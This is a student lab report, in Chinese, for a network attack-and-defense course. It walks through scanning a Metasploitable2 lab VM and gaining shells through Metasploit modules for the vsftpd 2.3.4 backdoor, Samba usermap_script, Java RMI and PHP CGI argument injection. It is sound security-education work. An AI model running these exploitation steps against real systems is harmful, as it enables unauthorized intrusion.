20232402 2025-2026-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
1.1 发现Metasploitable2靶机,并对其进行端口扫描、漏洞扫描;
1.2 利用Vsftpd源码包后门漏洞;
1.3 利用SambaMS-RPC Shell命令注入漏洞;
1.4 利用Java RMI SERVER命令执行漏洞;
1.5 利用PHP CGI参数执行注入漏洞。
2.实验过程
2.1 前期渗透:主机发现与端口扫描
2.1.1 Metasploitable 2 靶机ip查看
ip addr

该 Metasploitable 2 靶机的 IP 地址是192.168.43.128
2.1.2 主机发现(ARP 扫描,确认靶机存活)
打开 Kali 终端,启动 Metasploit:
msfconsole

搜索并加载 ARP 扫描模块:
search arp_sweep
use auxiliary/scanner/discovery/arp_sweep
配置扫描参数(靶机所在网段默认 192.168.43.0/24,可根据实际网络调整):
set RHOSTS 192.168.43.0/24
set THREADS 50
执行扫描,确认 192.168.43.128 存活:
run


模块扫描了192.168.43.0/24整个网段(共 256 个主机),并且识别出172.16.226.135这个主机处于存活状态(标注为 “appears to be up”)。
2.1.3 端口扫描
nmap 快速扫描
打开新终端,执行命令(中途靶机换个ip,换为10.0.2.128):
nmap -p 21,80,139,1099 -sV 10.0.2.128

可以看出,靶机的几个关键端口都是开放的:
- 21 端口跑的是 vsftpd 2.3.4 这个 FTP 服务,这个版本有个很有名的后门漏洞,能直接拿 shell。
- 80 端口是 Apache 2.2.8 的 HTTP 服务,版本比较老,本身就可能有文件包含、目录遍历这些问题,而且上面应该还搭了像 DVWA 之类的 Web 漏洞环境。
- 139 端口的 Samba 服务,版本 3.X-4.X,有不少远程代码执行的漏洞,比如 CVE-2007-2447,利用它能提权或者直接控制这台机器。
- 1099 端口的 Java RMI 服务,存在反序列化漏洞,用 ysoserial 这类工具构造恶意数据,就能执行任意代码。
2.1.4 漏洞扫描
执行 nmap 漏洞脚本扫描:
nmap --script vuln 10.0.2.128

FTP 服务(vsftpd 2.3.4)存在可利用的后门漏洞(CVE-2011-2523),属于高危可 exploit 漏洞。

SSL 层面有SSL POODLE 信息泄露漏洞(CVE-2014-3566)和匿名 Diffie-Hellman 密钥交换的中间人攻击漏洞,属于加密协议类安全缺陷。

存在 Slowloris 拒绝服务攻击漏洞(CVE-2007-6750),也属于 Web 服务的安全隐患。
2.2 Vsftpd 2.3.4 源码包后门漏洞利用(21 端口)
在 Metasploit 中加载漏洞模块:
use exploit/unix/ftp/vsftpd_234_backdoor
配置靶机 IP
set RHOSTS 10.0.2.128
设置 FTP 用户名(该漏洞匿名登录即可)
set USERNAME anonymous
执行攻击
run
利用成功后,执行验证命令:
uname -a
pwd
id

2.3 Samba MS-RPC Shell 命令注入漏洞利用(139 端口)
加载 Samba 漏洞模块:
use exploit/multi/samba/usermap_script
配置靶机 IP:
set RHOSTS 10.0.2.128
执行攻击:
run
验证权限:
shell
whoami

2.4 Java RMI Server 命令执行漏洞利用(1099 端口)
检测靶机 1099 端口是否开放
nmap -p1099 10.0.2.128

开放
启动 msfconsole 框架:
msfconsole
加载 Java RMI 漏洞利用模块:
use exploit/multi/misc/java_rmi_server

查看模块需要配置的参数:
show options

设置靶机 IP:
set RHOSTS 10.0.2.128
执行漏洞利用并获取会话
run
已经自动进入会话,无需显示会话
验证权限:
shell # 从meterpreter切换到靶机的系统shell
whoami # 验证当前用户权限

2.5 PHP CGI 参数执行注入漏洞利用(80 端口)
加载 PHP CGI 漏洞模块:
use exploit/multi/http/php_cgi_arg_injection
配置靶机 IP 和端口:
set RHOSTS 10.0.2.128
set RPORT 80 # 默认80端口,无需修改
执行攻击:
run
验证权限:
shell
whoami
uname -a
ls /var/www # 查看Web目录

3.问题及解决方案
-
问题1:
![image]()
权限不足,Metasploit 执行arp_sweep模块时需要访问网络接口(如 eth0)来捕获 ARP 包,但当前用户没有足够的权限执行这个操作。 -
问题1解决方案:以 root 权限运行 Metasploit,在启动 msfconsole 时使用sudo msfconsole命令,获取管理员权限后再执行该模块即可正常运行。
-
问题2:攻击机kali在VirtualBox上,发现无法扫到vmware上的靶机的端口。
-
问题2解决方案:这是因为VirtualBox的NAT模式是单向隔离的,即虚拟机可以访问外网和宿主机,但宿主机默认无法主动访问虚拟机。所以我在VirtualBox里重装了一个kali。(每做个实验装一个kali哈哈哈)
4.学习感悟、思考等
一定要确保 Kali 攻击机与靶机在同一内网网段!!!否则无法通信。这次实验最大的收获就是我认识到了VirtualBox不好用,它甚至不支持改NAT的网段。我也终于知道为啥我做网安协议实验的时候虚拟机ping主机能ping通,但是主机ping虚拟机ping却ping不通,本质就是VirtualBox的NAT模式是单向隔离的。以后要考虑其他实验都用vmware了。
